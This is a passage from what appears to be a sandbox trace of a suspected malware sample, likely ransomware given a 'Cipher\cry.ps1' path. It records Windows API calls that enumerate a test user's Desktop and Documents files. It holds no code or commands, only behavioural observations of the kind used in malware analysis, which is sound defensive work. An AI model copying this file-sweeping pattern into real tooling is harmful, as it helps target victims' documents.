(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\yT6Y.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\yt6y.m4a")) returned 0x20 [0116.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg")) returned 0x20 [0116.170] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0116.170] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg", lpFilePart=0x0) returned 0x2a [0116.170] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.170] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZirYt0Xt.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ziryt0xt.jpg")) returned 0x20 [0116.170] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0116.170] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0116.170] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0116.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.170] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99ae67c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0116.170] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", nBufferLength=0x105, lpBuffer=0x99ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpFilePart=0x0) returned 0x20 [0116.170] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*", lpFindFileData=0x99ae89c | out: lpFindFileData=0x99ae89c) returned 0x8e856b8 [0116.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.171] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99ae67c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0116.171] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", nBufferLength=0x105, lpBuffer=0x99ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpFilePart=0x0) returned 0x20 [0116.171] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*", lpFindFileData=0x99ae89c | out: lpFindFileData=0x99ae89c) returned 0x8e857f8 [0116.171] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.171] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.171] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", lpFilePart=0x0) returned 0x24 [0116.172] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.172] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0116.172] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.172] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.172] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.172] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.172] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb", lpFilePart=0x0) returned 0x31 [0116.172] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.173] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.173] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.173] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.173] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.173] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR", lpFilePart=0x0) returned 0x2d [0116.173] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.173] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.174] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", lpFilePart=0x0) returned 0x33 [0116.174] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.174] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.174] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.174] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.174] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.174] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpFilePart=0x0) returned 0x29 [0116.174] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.175] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.175] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.175] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpFilePart=0x0) returned 0x31 [0116.175] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.175] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.175] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2d [0116.175] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.175] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.175] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.176] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.176] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.176] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.176] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.176] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.176] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.177] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\.", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x31 [0116.177] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.177] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.177] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.177] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 0 [0116.177] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0116.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.177] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.178] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.178] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.178] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.178] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4twIwfvt.docx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4twIwfvt.docx", lpFilePart=0x0) returned 0x2d [0116.178] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.178] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7_GbEPGtsj.pptx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7_GbEPGtsj.pptx", lpFilePart=0x0) returned 0x2f [0116.178] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.178] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\8787.pptx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\8787.pptx", lpFilePart=0x0) returned 0x29 [0116.179] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.179] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.179] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aAPH1M_36N4nuYnLJH0z.docx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\aAPH1M_36N4nuYnLJH0z.docx", lpFilePart=0x0) returned 0x39 [0116.179] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.179] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\D4_ovqaOMG1eFgMZ7bix.pps", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\D4_ovqaOMG1eFgMZ7bix.pps", lpFilePart=0x0) returned 0x38 [0116.179] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.179] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", lpFilePart=0x0) returned 0x2f [0116.179] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.179] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.180] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.180] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gEESZQx5FzGeo.xlsx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gEESZQx5FzGeo.xlsx", lpFilePart=0x0) returned 0x32 [0116.180] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.180] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.180] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\KoscbyYx6wniWKYb2.xlsx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\KoscbyYx6wniWKYb2.xlsx", lpFilePart=0x0) returned 0x36 [0116.180] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.180] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L6m01.pptx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L6m01.pptx", lpFilePart=0x0) returned 0x2a [0116.180] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.180] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.181] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.181] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.181] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.181] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZYUxL.docx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZYUxL.docx", lpFilePart=0x0) returned 0x2b [0116.181] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.181] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.181] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0116.181] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.182] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.182] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PXqr8L.docx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PXqr8L.docx", lpFilePart=0x0) returned 0x2b [0116.182] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.182] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q2VaxE_PmmJ.pptx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q2VaxE_PmmJ.pptx", lpFilePart=0x0) returned 0x30 [0116.182] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.182] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RJNO.rtf", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RJNO.rtf", lpFilePart=0x0) returned 0x28 [0116.182] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.182] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rJX7V LTKZqZ45aDEEB.pptx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rJX7V LTKZqZ45aDEEB.pptx", lpFilePart=0x0) returned 0x38 [0116.182] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.183] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\SzLlI0eav-FV.xlsx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\SzLlI0eav-FV.xlsx", lpFilePart=0x0) returned 0x31 [0116.183] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.183] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tMlq.xlsx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tMlq.xlsx", lpFilePart=0x0) returned 0x29 [0116.183] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.183] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\U2mxjG2FL5H0Y.docx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\U2mxjG2FL5H0Y.docx", lpFilePart=0x0) returned 0x32 [0116.183] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.183] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\uLi6pJ.ots", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\uLi6pJ.ots", lpFilePart=0x0) returned 0x2a [0116.183] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.184] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.184] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Xr o.docx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Xr o.docx", lpFilePart=0x0) returned 0x29 [0116.184] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.184] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ydqm0J6Hx.docx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ydqm0J6Hx.docx", lpFilePart=0x0) returned 0x2e [0116.184] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0116.190] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\z6YS4v.xlsx", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\z6YS4v.xlsx", lpFilePart=0x0) returned 0x2b [0116.191] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 0 [0116.191] FindClose (in: hFindFile=0x8e857f8 | out: hFindFile=0x8e857f8) returned 1 [0116.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.191] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf")) returned 0x10 [0116.191] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\-mgf")) returned 0x10 [0116.191] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", nBufferLength=0x105, lpBuffer=0x99ae6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", lpFilePart=0x0) returned 0x24 [0116.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.191] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", lpFilePart=0x0) returned 0x24 [0116.191] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\", lpFilePart=0x0) returned 0x25 [0116.192] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e856b8 [0116.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.192] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF", lpFilePart=0x0) returned 0x24 [0116.192] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\", lpFilePart=0x0) returned 0x25 [0116.192] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e85238 [0116.192] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.192] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.192] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.192] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.193] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0116.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.193] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.193] FindNextFileW (in: hFindFile=0x8e85238, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.193] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\-MGF\\sf_ImUUBUl AFvtD.csv", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: 